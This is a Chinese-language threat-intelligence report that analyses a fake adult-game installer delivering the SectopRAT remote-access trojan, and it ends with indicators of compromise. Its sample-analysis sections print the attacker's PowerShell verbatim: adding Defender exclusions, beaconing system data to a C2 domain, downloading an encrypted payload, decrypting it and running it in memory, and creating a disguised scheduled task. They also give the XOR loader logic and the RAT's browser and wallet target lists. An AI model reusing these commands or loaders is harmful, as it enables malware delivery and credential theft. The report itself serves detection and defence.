欲望与风险:探索成人游戏假冒安装包背后的双重面孔

概述

  近日,瑞星威胁情报平台接到用户反馈,发现一起针对游戏玩家的攻击活动。攻击者制作假冒IndieGala平台成人游戏的恶意安装包,并通过网络渠道进行传播。该攻击链采用多层加载技术:先由Advanced Installer打包器释放MSI安装包,再通过PowerShell脚本添加Windows Defender排除项并下载加密载荷,最终部署SectopRAT远控木马。该木马具备较完整的窃密能力,可窃取40余款浏览器中的凭据与Cookie、加密货币钱包数据以及键盘记录,并可通过隐藏远程桌面(HVNC)实现对受害主机的进一步控制。攻击者还利用BSC区块链智能合约作为备用C2通道,体现出一定的反追踪与持久化能力。

ATT&CK矩阵

战术 技术 具体行为
TA0002-执行 T1059-命令和脚本解释器 通过执行MSI文件内的PowerShell脚本进行下一步恶意操作
TA0002-执行 T1204-用户执行 通过仿冒成人游戏安装包诱导用户安装执行
TA0003-持久化 T1053-计划任务/作业 通过计划任务启动恶意DLL文件
TA0003-持久化 T1176-浏览器扩展 SectopRAT会向浏览器注入恶意扩展
TA0005-防御规避 T1218-利用签名的二进制程序 通过msiexec.exe安装archive.msi
TA0005-防御规避 T1562-削弱防御 通过PowerShell添加Windows Defender排除项
TA0005-防御规避 T1027-混淆过的文件或信息 olecli32ba_Win.dllcmiaisupportSYS.dll偏移1534处读取加密数据,使用XOR解密后加载
TA0005-防御规避 T1218-利用签名的二进制程序 通过rundll32.exe加载恶意DLL文件
TA0006-凭证访问 T1539-窃取Web会话Cookie SectopRAT可以窃取浏览器保存的Cookie
TA0006-凭证访问 T1555-密码存储的凭据 SectopRAT可以窃取浏览器保存的登录凭据
TA0007-环境发现 T1082-收集系统信息 archive.msi将收集的系统信息发送至C2服务器
TA0008-横向移动 T1021-远程服务 SectopRAT可以创建隐藏的远程桌面会话
TA0009-收集信息 T1113-屏幕截图 SectopRAT具有屏幕截图功能
TA0009-收集信息 T1056-捕获用户输入 SectopRAT具有键盘记录功能
TA0009-收集信息 T1005-来自本地系统的数据 SectopRAT收集受害者系统硬件和软件信息
TA0010-外传信息 T1041-通过C2通道外传 SectopRAT将窃取的浏览器凭据、加密货币钱包、键盘记录等数据直接回传至C2服务器
TA0011-指挥与控制 T1008-备用通道 SectopRAT会在主C2服务器失效的情况下尝试通过BSC区块链获取备用的C2地址
TA0011-指挥与控制 T1105-文件传输工具 archive.msi下载并安装恶意MSI文件

事件详情

攻击流程

  1. femdom-first-timers.exe作为Advanced Installer打包的安装器启动,解析SFX表项,释放decoder.dllarchive.7z
  2. decoder.dll被动态加载,解压archive.7z,释放出archive.msi文件。
  3. archive.msi通过msiexec静默安装,执行内嵌PowerShell脚本,添加Windows Defender排除项,向statmanagers3.com发送系统信息。
  4. PowerShell脚本从https://main45.b-cdn.net/new26/MicrosoftEdgeUpdateTaskMachineCoreB.msi下载第二阶段MSI文件,保存至C:\ProgramData\目录。
  5. PowerShell脚本从https://main45.b-cdn.net/new26/new30h.jar下载加密载荷,使用AES-CBC解密后在内存中执行,并向C2发送安装状态。
  6. MicrosoftEdgeUpdateTaskMachineCoreB.msi随后被静默安装,释放olecli32ba_Win.dllcmiaisupportSYS.dllC:\ProgramData\Microsoft\NetFramework\
  7. MSI创建伪装成OneDrive更新的计划任务,通过rundll32.exe调用olecli32ba_Win.dllApiNet导出函数。
  8. olecli32ba_Win.dllcmiaisupportSYS.dll偏移1534处读取加密数据,使用XOR解密后加载SectopRAT
  9. SectopRAT连接C2服务器179.61.145.140:443,窃取浏览器凭据、加密货币钱包、键盘记录,并建立隐藏远程桌面会话。

image

样本分析

femdom-first-timers.exe分析

字段 内容
原始文件名 femdom-first-timers.exe
文件大小 2432 KB
文件MD5 ffe2ff47c84b19f4e30b83fadf9da510
文件类型 EXE
主要功能 解压并启动恶意文件和游戏文件

  该样本的特殊性在于其作为由Advanced Installer打包的安装器,SFX表项指向外部Game\archive*.7z文件,解压源来自同目录而非EXE内嵌资源。

  样本在自身文件尾部搜索ADVINSTSFX签名,回退读取SFX头部并校验字段,随后解析表项。

int open_self_and_parse_sfx_table(State *st)
{
    HANDLE h = CreateFileW(st->self_path, GENERIC_READ, FILE_SHARE_READ, 0,
                           OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    if (h == INVALID_HANDLE_VALUE) return ERR_OPEN;

    if (find_sfx_header_in_file(h, &st->sfx_hdr) != 0)
        return ERR_SFX_HDR;

    return parse_sfx_tables(st); // 解析条目表与名称表
}

  样本首先解析SFX条目表与名称索引,随后通过类型、标记或名称表索引定位待解压条目(如archive.7zarchive-FILES.7z)。

// 0x18 字节条目结构
typedef struct _SFX_ENTRY_RAW {
    uint32_t flag;
    uint32_t type;
    uint32_t reserved;
    uint32_t size;
    uint32_t begin;
    uint32_t name_len;
} SFX_ENTRY_RAW;

int parse_sfx_entry_table(State *st)
{
    while (ReadFile(st->hFile, &raw, 0x18, &n, 0) && n)
    {
        wchar_t *name = ReadUtf16(st->hFile, raw.name_len);
        Entry e = { raw.flag, raw.type, raw.size, raw.begin, name };
        st->entries.push_back(e);
    }
    return 0;
}

int find_entry_index_by_type_flag(State *st, int type, int flag)
{
    for (int i = 0; i < st->entries.size(); i++)
        if (st->entries[i].type == type && st->entries[i].flag == flag)
            return i;
    return -1;
}

  本样本解析出的条目与名称索引如下:

type name size begin 备注
8 decoder.dll 0x2DA00 0x230400 内嵌条目
3 femdom-first-timers.ini 0x312 0x25DE00 内嵌条目
7 Game\archive.7z 0x7 外部文件条目
6 Game\archive-FILES.7z 0x6 外部文件条目

  随后构造解压路径,按“基础路径 + 条目名称”的方式完成拼接。

const wchar_t *select_base_path(State *st)
{
    return st->base_path[0] ? st->base_path : GetCurrentDir();
}

wchar_t *normalize_dir_path(const wchar_t *base)
{
    return EnsureTrailingSlash(base);
}

wchar_t *build_entry_path_with_base(State *st, const wchar_t *entry_name)
{
    const wchar_t *base = select_base_path(st);
    wchar_t *dir = normalize_dir_path(base);
    return wcscat(dir, entry_name);
}

  接着,样本动态加载解压DLL decoder.dll,并解析其导出函数:InitExtractionGetTotalFilesSizeExtractAllFilesEndExtraction

bool load_extraction_dll_and_bind_exports(const wchar_t *dll_path)
{
    HMODULE h = LoadLibraryW(dll_path);
    if (!h) return false;

    InitExtraction   = (FN_Init)   GetProcAddress(h, "InitExtraction");
    GetTotalFilesSize= (FN_Total)  GetProcAddress(h, "GetTotalFilesSize");
    ExtractAllFiles  = (FN_Extract)GetProcAddress(h, "ExtractAllFiles");
    EndExtraction    = (FN_End)    GetProcAddress(h, "EndExtraction");
    return true;
}

  随后,样本为每个解压条目初始化上下文,包括打开源文件、设置偏移和大小、复制输出目录等,并继续完成总大小统计与解压任务执行。

int init_extraction_context(Ctx *ctx, const wchar_t *archive_path,
                            uint32_t begin, uint32_t size,
                            const wchar_t *out_dir)
{
    ctx->hFile = CreateFileW(archive_path, GENERIC_READ, FILE_SHARE_READ, 0,
                             OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
    ctx->begin = begin;
    ctx->size  = size;
    wcscpy(ctx->out_dir, EnsureTrailingSlash(out_dir));
    return InitExtraction(ctx);
}

int build_and_run_extraction_plan(State *st, Selection *sel)
{
    for (int i = 0; i < sel->count; i++)
    {
        init_extraction_context(...);
        uint64_t total = GetTotalFilesSize(ctx);
        ctx->total_size = total;
    }
    CreateThread(0, 0, thread_entry_unpack200_chain, &param, 0, &tid);
    return 0;
}

int execute_extraction_tasks(TaskList *tasks)
{
    for (int i = 0; i < tasks->count; i++)
    {
        int rc = ExtractAllFiles(tasks->items[i]);
        EndExtraction(tasks->items[i]);
        if (rc != 0) return rc;
    }
    return 0;
}

  最后,样本根据名称表索引分别定位type=7type=6的条目,拼接源路径后构建并执行archive.7zarchive-FILES.7z的解压计划。

// type=7 -> Game\archive.7z
int idx_main = find_name_table_index_by_type(st, 7);
if (idx_main >= 0) {
    wchar_t *src = build_entry_path_with_base(st, st->name_table[idx_main].name);
    uint64_t total = GetTotalFilesSizeForEntry(st, src);
    if (!check_disk_space(total, target_path)) return ERR_SPACE;
    build_and_run_extraction_plan(st, src, target_path);
}

// type=6 -> Game\archive-FILES.7z
int idx_files = find_name_table_index_by_type(st, 6);
if (idx_files >= 0) {
    wchar_t *src = build_entry_path_with_base(st, st->name_table[idx_files].name);
    build_and_run_extraction_plan(st, src, target_path);
}

  archive.7z解压完成后,样本进入MSI安装流程:从解压目录拼接MSI路径,构造msiexec.exe命令行,最终通过CreateProcessW执行安装。

wchar_t *resolve_msi_from_extract_dir(const wchar_t *extract_dir)
{
    return build_path(extract_dir, L"<msi_name>.msi");
}

int build_msiexec_cmdline(wchar_t *cmd, size_t cap,
                          const wchar_t *msi_path,
                          const wchar_t *setup_exe,
                          const wchar_t *setup_dir,
                          const wchar_t *extra_args,
                          int mode, int ui_opt)
{
    const wchar_t *op = (mode == MODE_PATCH)  ? L"/p" :
                        (mode == MODE_REPAIR) ? L"/fvomus" : L"/i";
    const wchar_t *ui = (ui_opt == UI_B) ? L"/qb" : L"/q";
    wsprintf(cmd,
        L"\"%s\" %s \"%s\" %s AI_SETUPEXEPATH=\"%s\" SETUPEXEDIR=\"%s\" %s",
        L"msiexec.exe", op, msi_path, ui, setup_exe, setup_dir, extra_args);
    return 0;
}

int run_msi_after_archive_extract(const wchar_t *extract_dir,
                                  const wchar_t *setup_exe,
                                  const wchar_t *setup_dir,
                                  const wchar_t *extra_args,
                                  int mode, int ui_opt)
{
    wchar_t *msi_path = resolve_msi_from_extract_dir(extract_dir);
    wchar_t cmd[2048];
    build_msiexec_cmdline(cmd, _countof(cmd),
                          msi_path, setup_exe, setup_dir,
                          extra_args, mode, ui_opt);
    return CreateProcessW(0, cmd, 0, 0, FALSE, 0, 0, 0, &si, &pi);
}

  archive-FILES.7z解压完成后,样本会先在任务线程中按条目执行解压并清理上下文。

int execute_extraction_tasks(TaskList *tasks)
{
    for (int i = 0; i < tasks->count; i++)
    {
        int rc = ExtractAllFiles(tasks->items[i]);
        EndExtraction(tasks->items[i]);
        if (rc != 0) return rc;
    }
    return 0;
}

  随后回到主流程分发安装逻辑,优先进入MSI分支,否则执行解压出的EXE安装入口:

int dispatch_install_after_extract(const wchar_t *msi_path, const wchar_t *exe_path)
{
    if (msi_path) {
        return CreateProcessW(0, build_msiexec_cmd(msi_path), 0, 0, FALSE, 0, 0, 0, &si, &pi);
    }
    if (exe_path) {
        return CreateProcessW(exe_path, 0, 0, 0, FALSE, 0, 0, 0, &si, &pi);
    }
    return 0;
}

archive.msi分析

字段 内容
原始文件名 archive.msi
文件大小 2494 KB
文件MD5 98234cf7e92ae98a36bb321a3c5b55f1
文件类型 MSI
病毒名 Trojan.Dyloader/PS!1.13C1C
主要功能 添加Windows Defender排除项,收集系统信息,在内存中执行恶意载荷,并下载和安装恶意MSI文件

  该安装包会先后执行两段PowerShell代码。

image

  第一段脚本用于添加Defender排除项:路径包括C:\%ProgramData%%APPDATA%,进程包括powershell.exerundll32.exemsiexec.exe,扩展名包括exemsidll

Add-MpPrefer`ence -ExclusionPath "$env:programdata", "$env:APPDATA", "C:\\"
Add-MpPrefer`ence -ExclusionProcess "powershell.exe", "rundll32.exe", "msiexec.exe"
Add-MpPrefer`ence -ExclusionExtension "exe", "msi", "dll"

  脚本随后通过ASCII字符数组混淆C2服务器域名statmanagers3.com,并向其发送注册请求。

$Jxsajfdp = -join([[]char[[][]][]](115,116,97,116,109,97,110,97,103,101,114,115,51,46,99,111,109))
Invoke-Web`Request -Uri ("$Jxsajfdp/?status=reg&key=9iwuerfszxlxc&site=Barto_$CjGfwZps") -UseBasicParsing

  之后,脚本收集系统信息,包括操作系统、计算机域名以及已安装的杀毒软件列表。

$kRTibjNm = (Get-CimInstance Win32_OperatingSystem).Caption -replace ' ', '%20'
$BMByrFkc = [[]System.Net.WebUtility[]]::UrlEncode($kRTibjNm)
$nMcLiAIr = (Get-CimInstance Win32_ComputerSystem).Domain
$xRWzhOJN = Get-CimInstance -Namespace "root/SecurityCenter2" -ClassName AntiVirusProduct
$SxeYWFbd = $xRWzhOJN | ForEach-Object {
    $_.displayName
}
$NPnWCSGk = $SxeYWFbd -join ", "

  收集完成后,相关系统信息会被发送至C2服务器。

$IclKMOFm = "$Jxsajfdp/?status=start&av=$NPnWCSGk&os=$BMByrFkc&domain=$nMcLiAIr"
try {
    $response = Invoke-RestMethod -Uri $IclKMOFm -Method GET
}
catch {
    if ($_.Exception.Response.StatusCode -eq 'ServiceUnavailable') {
        exit
    }
}

  脚本还会检测当前是否存在调试器附加,若检测到则直接退出。

if ([[]System.Diagnostics.Debugger[]]::IsAttached) {
    exit
}

  随后,恶意MSI文件会被下载至C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCoreB.msi

Sleep -m(Random -Min 166 -Max 999)
(New-Object Net.WebClient).DownloadFile('https://main45.b-cdn.net/new26/MicrosoftEdgeUpdateTaskMachineCoreB.msi', "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCoreB.msi");
Sleep -m(Random -Min 1323 -Max 2236)

  第二段脚本负责使用AES-CBC解密下载的载荷并在内存中直接执行,随后再向C2服务器发送安装完成通知。

  • AES Key: 2B 7E 15 16 28 AE D2 A6 AB F7 15 88 09 CF 4F 3C 76 2E 71 60 F3 8B 4D A1 6C 94 0A 25 8F 4A 89 C7
  • AES IV: 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
&{
    $k = [[]byte[[][]][]](0x2B,0x7E,0x15,0x16,0x28,0xAE,0xD2,0xA6,0xAB,0xF7,0x15,0x88,0x09,0xCF,0x4F,0x3C,0x76,0x2E,0x71,0x60,0xF3,0x8B,0x4D,0xA1,0x6C,0x94,0x0A,0x25,0x8F,0x4A,0x89,0xC7)
    $v = [[]byte[[][]][]](0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15)
    $w = New-Object Net.WebClient

    try {
        $e = $w.DownloadData('https://main45.b-cdn.net/new26/new30h.jar')
    } catch {
        exit
    }

    $a = [[]Security.Cryptography.Aes[]]::Create()
    $a.Key = $k
    $a.IV = $v
    $a.Mode = 'CBC'
    $d = $a.CreateDecryptor()
    $m = New-Object IO.MemoryStream
    $c = New-Object Security.Cryptography.CryptoStream($m, $d, 'Write')
    $c.Write($e, 0, $e.Length)
    $c.Close()
    $b = $m.ToArray()
    [[]Reflection.Assembly[]]::Load($b).EntryPoint.Invoke($null, @())
}

Invoke-WebRequest -Uri ("$Jxsajfdp/?status=install") -UseBasicParsing

  最后,脚本静默安装恶意MSI文件C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCoreB.msi

C:\Windows\System32\msiexec.exe /i "C:\ProgramData\MicrosoftEdgeUpdateTaskMachineCoreB.msi" /qn /norestart

MicrosoftEdgeUpdateTaskMachineCoreB.msi分析

字段 内容
原始文件名 MicrosoftEdgeUpdateTaskMachineCoreB.msi
文件大小 4772 KB
文件MD5 4fbe9a06ae1992584eafd53bb5b2ef77
文件类型 MSI
主要功能 创建计划任务,通过rundll32执行释放的恶意DLL

  该安装包同样会执行PowerShell代码。

image

  脚本会先生成随机任务名称,并将其伪装为OneDrive更新任务。

$num = Get-Random -Minimum 10000000000 -Maximum 99999999999
$TaskName = "OneDrive Standalone Update Task-S-1-5-21-3829038537-938744780-V$num"

  随后创建计划任务,通过rundll32执行恶意DLL C:\ProgramData\Microsoft\NetFramework\olecli32ba_Win.dll中的导出函数ApiNet

$action = New-ScheduledTaskAction -Execute "C:\Windows\System32\rundll32.exe" -Argument 'C:\ProgramData\Microsoft\NetFramework\olecli32ba_Win.dll, ApiNet'
$trigger = New-ScheduledTaskTrigger -AtLogOn
$principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive -RunLevel Limited
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries
Register-ScheduledTask -TaskName $TaskName -Action $action -Trigger $trigger -Principal $principal -Settings $settings -Force

  经过随机延迟后,计划任务被启动。

Start-Sleep -Milliseconds (Get-Random -Minimum 2000 -Maximum 3000)
Start-ScheduledTask -TaskName $TaskName

olecli32ba_Win.dll分析

字段 内容
原始文件名 olecli32ba_Win.dll
文件大小 740 KB
文件MD5 253f7fef0c2c960b491e199bf838fd28
文件类型 DLL
病毒名 Trojan.Loader!1.13C1D
主要功能 在内存中解密cmiaisupportSYS.dll中的载荷并加载SectopRAT

  该样本通过延迟执行器封装其核心逻辑:解析目标路径、处理文件并完成载荷加载执行。

public virtual void Run()
{
    this._delayExecutor.Execute(delegate
    {
        string path = this._pathResolver.Resolve();
        byte[] payload = this._processor.Process(path, 1534);
        this._executor.Execute(payload);
    });
}

  路径解析器返回固定拼接路径C:\ProgramData\Microsoft\NetFramework\cmiaisupportSYS.dll

private string BuildPath()
{
    return string.Concat(this._parts);
}
// _parts = {"C:\\ProgramData\\", "Microsoft\\", "NetFramework\\", "cmiaisupportSYS.dll"}

  数据处理器从该路径读取文件,并在固定偏移1534处解析数据结构并执行解密。

byte[] Process(string path, int offset = 1534)
{
    data = ReadData(path);
    ValidateOffset(data, offset);
    len = ExtractLength(data, offset);
    pos = offset + 4;
    ValidateLength(data, pos, len);
    cipher = ExtractCipher(data, pos, len);
    VerifyMarker(data, pos + len);
    return DecryptData(cipher);
}

  样本首先检查目标文件是否存在;若不存在则抛出FileNotFoundException,否则读取整个文件的字节数据。

if (!File.Exists(path))
    throw new FileNotFoundException();
return File.ReadAllBytes(path);

  随后校验长度字段以及密文、标记区间是否越界,若异常则中断执行。

if (offset + 4 > data.Length)
    throw new InvalidDataException();
if (pos + len + GetMarker().Length > data.Length)
    throw new InvalidDataException();

  在完成边界检查后,样本解析4字节长度字段,并通过Buffer.BlockCopy提取密文。

int len = BitConverter.ToInt32(data, offset);
byte[] cipher = new byte[len];
Buffer.BlockCopy(data, pos, cipher, 0, len);

  之后,样本校验尾部标记DE AD C0 DE,若不匹配则抛出InvalidDataException

byte[] marker = GetMarker();
for (int i = 0; i < marker.Length; i++)
{
    if (data[pos + i] != marker[i])
        throw new InvalidDataException();
}

  解密阶段使用固定32字节key0x00..0x1F)进行循环XOR,并按1024字节分块处理。

byte[] key = GetKey(); // 0x00..0x1F
int block = 1024;
for (int i = 0; i < cipher.Length; i += block)
{
    int n = Math.Min(block, cipher.Length - i);
    for (int j = 0; j < n; j++)
    {
        int idx = i + j;
        cipher[idx] ^= key[idx % key.Length];
    }
}
Array.Clear(key, 0, key.Length);

  最终,执行器将解密后的字节作为.NET程序集加载到内存,并调用其入口点。

Assembly asm = Assembly.Load(data);
MethodInfo entry = asm.EntryPoint;
entry.Invoke(null, args);

SectopRAT分析

  与命令控制服务器建立加密通信,接收指令并上传窃取的数据

IP地址: 179.61.145.140
端口: 443 (HTTPS)
版本标识: bart_v16_2
加密密钥: o20+0fZd5wC5/W4p4s9Us8GRgr7NeZjyDmvKHVV922s=

  使用Windows CryptoAPI进行AES解密,用于解密浏览器存储的敏感数据

BCryptOpenAlgorithmProvider
BCryptCloseAlgorithmProvider
BCryptDecrypt
BCryptDestroyKey
BCryptGetProperty
BCryptSetProperty
BCryptImportKey
AES
Microsoft Primitive Provider
AuthTagLength
ObjectLength
KeyDataBlob
DPAPI

  针对40+款浏览器窃取登录凭据、Cookie、支付信息等敏感数据

%USERPROFILE%\AppData\Local\Chromium\User Data
%USERPROFILE%\AppData\Local\Google\Chrome\User Data
%USERPROFILE%\AppData\Local\Google(x86)\Chrome\User Data
%USERPROFILE%\AppData\Roaming\Opera Software\
%USERPROFILE%\AppData\Local\MapleStudio\ChromePlus\User Data
%USERPROFILE%\AppData\Local\Iridium\User Data
%USERPROFILE%\AppData\Local\7Star\7Star\User Data
%USERPROFILE%\AppData\Local\CentBrowser\User Data
%USERPROFILE%\AppData\Local\Chedot\User Data
%USERPROFILE%\AppData\Local\Vivaldi\User Data
%USERPROFILE%\AppData\Local\Kometa\User Data
%USERPROFILE%\AppData\Local\Elements Browser\User Data
%USERPROFILE%\AppData\Local\Epic Privacy Browser\User Data
%USERPROFILE%\AppData\Local\uCozMedia\Uran\User Data
%USERPROFILE%\AppData\Local\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer
%USERPROFILE%\AppData\Local\CatalinaGroup\Citrio\User Data
%USERPROFILE%\AppData\Local\Coowon\Coowon\User Data
%USERPROFILE%\AppData\Local\liebao\User Data
%USERPROFILE%\AppData\Local\QIP Surf\User Data
%USERPROFILE%\AppData\Local\Orbitum\User Data
%USERPROFILE%\AppData\Local\Comodo\Dragon\User Data
%USERPROFILE%\AppData\Local\Amigo\User\User Data
%USERPROFILE%\AppData\Local\Torch\User Data
%USERPROFILE%\AppData\Local\Yandex\YandexBrowser\User Data
%USERPROFILE%\AppData\Local\Comodo\User Data
%USERPROFILE%\AppData\Local\360Browser\Browser\User Data
%USERPROFILE%\AppData\Local\Maxthon3\User Data
%USERPROFILE%\AppData\Local\K-Melon\User Data
%USERPROFILE%\AppData\Local\Sputnik\Sputnik\User Data
%USERPROFILE%\AppData\Local\Nichrome\User Data
%USERPROFILE%\AppData\Local\CocCoc\Browser\User Data
%USERPROFILE%\AppData\Local\Uran\User Data
%USERPROFILE%\AppData\Local\Chromodo\User Data
%USERPROFILE%\AppData\Local\Mail.Ru\Atom\User Data
%USERPROFILE%\AppData\Local\BraveSoftware\Brave-Browser\User Data
%USERPROFILE%\AppData\Local\Microsoft\Edge\User Data
%USERPROFILE%\AppData\Local\CryptoTab Browser\User Data
%USERPROFILE%\AppData\Roaming\Mozilla\Firefox
%USERPROFILE%\AppData\Roaming\Waterfox
%USERPROFILE%\AppData\Roaming\K-Meleon
%USERPROFILE%\AppData\Roaming\Thunderbird
%USERPROFILE%\AppData\Roaming\Comodo\IceDragon
%USERPROFILE%\AppData\Roaming\8pecxstudios\Cyberfox
%USERPROFILE%\AppData\Roaming\NETGATE Technologies\BlackHaw
%USERPROFILE%\AppData\Roaming\Moonchild Productions\Pale Moon

  窃取多种加密货币钱包文件和浏览器扩展钱包数据

Coinomi |*| %appdata% |*| Coinomi
Jaxx |*| %appdata% |*| com.liberty.jaxx
%appdata%\exodus
MetaC (MetaMask)
CBitB (Coinbase)
AtomL (Atomic Wallet)

  恶意软件通过扩展ID定位浏览器钱包扩展目录,窃取钱包私钥和助记词

扩展ID 扩展名称
nkbihfbeogaeaoehlefnkodbefgpgknn MetaMask
hnfanknocfeofbddgcijnmhnfnkdnaad Coinbase Wallet
ibnejdfjmmkpcnlpebklmnkoeoihofec TronLink
fnjhmhkhmkbjkkabndcnnogagogbneec Phantom
blnieiiffboillknjnepogjhkgnoapac Trust Wallet
cjelfplplebdjjenllpjcblmjkfcffne Keplr
amkmjjmmflddogmhpjloimpibofnfjih Solflare
afbcbjpbpfadlkmhmclhkeeodmamcflc Math Wallet
fhbohimaelbohpjbbldcngcnapdodjp Binance Chain Wallet
hpglfhgfnhbgpjdenjgmdgoeiappafln Guarda
fihkakfobkmkjojpchpfgcmhfjnmnfpi BitApp Wallet
kncchdigobghenbbaddojjnnaogfppfj iWallet
nkddgncdjgjfcddamfgcmfnlhccnimig Saturn
aiaifbnbfobpmeekipheeijimdpnlpgpp Station Wallet
cgeeodpfagjceefieflmdfphplkenlfk EVER Wallet
padjkfkcgafgbcceimcpbkalnfnepbnk 未知
fnnegphlobjdpkhecapkjjdkgcjhkib 未知
aeachknmefphepccionbohckonoeemg 未知
fhilaheimglignddkjgofkcbgekehenbh 未知
nlbmnnijcnlegkjjpcfjclmcfcgfefdm 未知
nanjmdknhkinifnkgdcggcfnhdaaammj 未知
odbfpeeihdkbihmopkbjmooonfanlbfc 未知
zfnbelfdoeiohenkjibnmadjiehjhajb 未知
jbdaocneiiiinmjbjlgalhcelgbejmnid 未知

  当硬编码的C2服务器179.61.145.140失效时,恶意软件通过BSC区块链获取备用的C2地址,这种方式具有抗封禁特性

# BSC公共RPC节点(备用C2数据源)
https://bsc-dataseed1.binance.org/
https://bsc-dataseed2.binance.org/
https://bsc-dataseed3.binance.org/
https://bsc-dataseed4.binance.org/
https://bsc-dataseed1.defibit.io/
https://bsc-dataseed2.ninicoin.io/

# 智能合约调用获取C2
合约地址: 0x67b4af41467a51e0816752a6b223c7c55ae71957
函数选择器: 0x6d4ce63c (get())

{"method": "eth_call", "params": [{"to": "0x67b4af41467a51e0816752a6b223c7c55ae71957", "data": "0x6d4ce63c"}, "latest"]}

  创建隐藏的远程桌面会话,允许攻击者在用户不知情的情况下操作受害者系统

HVNC
#32768
MozillaDialogClass
stream start received
stream started succces
Chrome will start with cmd
Executing chrome/brave/edge/firefox
--disable-3d-apis --disable-gpu-rasterization --disable-gpu-vsync
--disable-gpu-program-cache --disable-gpu --disable-d3d11
--disable-flash-3d --no-sandbox

  向浏览器注入恶意扩展,实现持久化控制和流量劫持

manifest.json
background.js
content.js

# 恶意扩展请求的危险权限
{
  "active_permissions": {
    "api": [
      "cookies",
      "notifications",
      "privacy",
      "proxy",           // 代理设置 - 可劫持流量
      "storage",
      "tabs",
      "webNavigation",
      "webRequest",      // 可监控所有网络请求
      "webRequestBlocking"
    ],
    "explicit_host": [
      "*://*/*",
      "<all_urls>",
      "chrome://favicon/*",
      "http://*/*",
      "https://*/*"
    ],
    "scriptable_host": ["*://*/*"]
  }
}

  记录用户键盘输入,捕获密码和敏感信息

LControlKey -> [CTRL]
RControlKey -> [CTRL]
LShiftKey -> [Shift]
RShiftKey -> [Shift]
Space -> [Space]
Back -> [Back]
[CAPSLOCK: OFF]
[ESC]
[Tab]
[ENTER]
{"Type":"NewKeyLog","Data":"..."}

  提供交互式远程命令执行能力,完全控制受害者系统

powershell
cmd.exe
C:\Windows\System32\cmd.exe
/C start iexplore.exe -extoff -nomerge -noframemerging
shell session
ReceiveShellJoinCommand
{"Type":"RetFileManager","Command":"Delete"}
{"Type":"RetFileManager","Command":"GetPath"}
{"Type":"RetFileManager","Command":"GetBytes"}

  收集受害者系统硬件和软件信息,用于指纹识别

# WMI查询
SELECT Caption FROM Win32_OperatingSystem
SELECT CommandLine FROM Win32_Process WHERE ProcessId = {0}
SELECT * FROM Win32_Processor
SELECT * FROM Win32_VideoController
SELECT * FROM Win32_DiskDrive
SELECT * FROM Win32_Process WHERE SessionId='...'

# 检测VPS/RDP环境
no monitor detected, may be VPS/RDP

# 其他应用
%USERPROFILE%\AppData\Local\NVIDIA Corporation\NVIDIA GeForce Experience
%USERPROFILE%\AppData\Local\Steam
%USERPROFILE%\AppData\Local\Battle.net

  屏幕截图

image/jpeg
{"Type":"ScreenFloat","Data":"..."}

攻击过程可视化(EDR)

  瑞星EDR详细记录了主机上的程序活动。借助威胁可视化调查功能,可以对本次攻击过程进行还原,并展示相关进程、域名等关联关系。下图展示了此次攻击活动中涉及的主要进程及相关网络基础设施。

image

image

总结

  在游戏娱乐产业快速发展的背景下,游戏玩家群体正成为网络攻击者重点关注的目标。此次针对IndieGala平台游戏的假冒安装包攻击事件,暴露出游戏分发渠道在内容可信性和传播链路上的安全隐患。攻击者通过精心伪装的恶意安装包,利用玩家对相关游戏内容的兴趣,诱导用户主动下载并执行恶意程序,从而绕过部分传统安全防护机制。

  用户在下载游戏及其他软件时,应尽量选择官方或可信渠道,避免从来源不明的网站、论坛或社群中获取安装包。同时,建议启用多层安全防护措施,并及时更新安全软件病毒库,以降低此类威胁的入侵风险。

预防措施

  1. 不打开可疑文件。

    避免打开未知来源的可疑文件和邮件,防范社会工程学攻击与钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可结合威胁情报对威胁行为轨迹进行追溯,帮助用户分析威胁行为、定位威胁源与攻击目标,并还原攻击手段和路径,从而更大范围地发现受影响节点,提升企业响应与处置效率。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可对恶意文档、木马程序等威胁进行拦截和查杀。即使用户误下载恶意文件,也能在一定程度上阻止其运行,从而保护终端安全。

    瑞星ESM目前已经可以检出此次攻击事件的相关样本。

image

  1. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    ffe2ff47c84b19f4e30b83fadf9da510
    98234cf7e92ae98a36bb321a3c5b55f1
    4fbe9a06ae1992584eafd53bb5b2ef77
    253f7fef0c2c960b491e199bf838fd28
  • Domain

    main45.b-cdn.net
    dns-providersa2.com
    statmanagers3.com
  • IPV4

    179.61.145.140
  • 瑞星病毒名

    Trojan.Dyloader/PS!1.13C1C
    Trojan.Loader!1.13C1D

Author

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *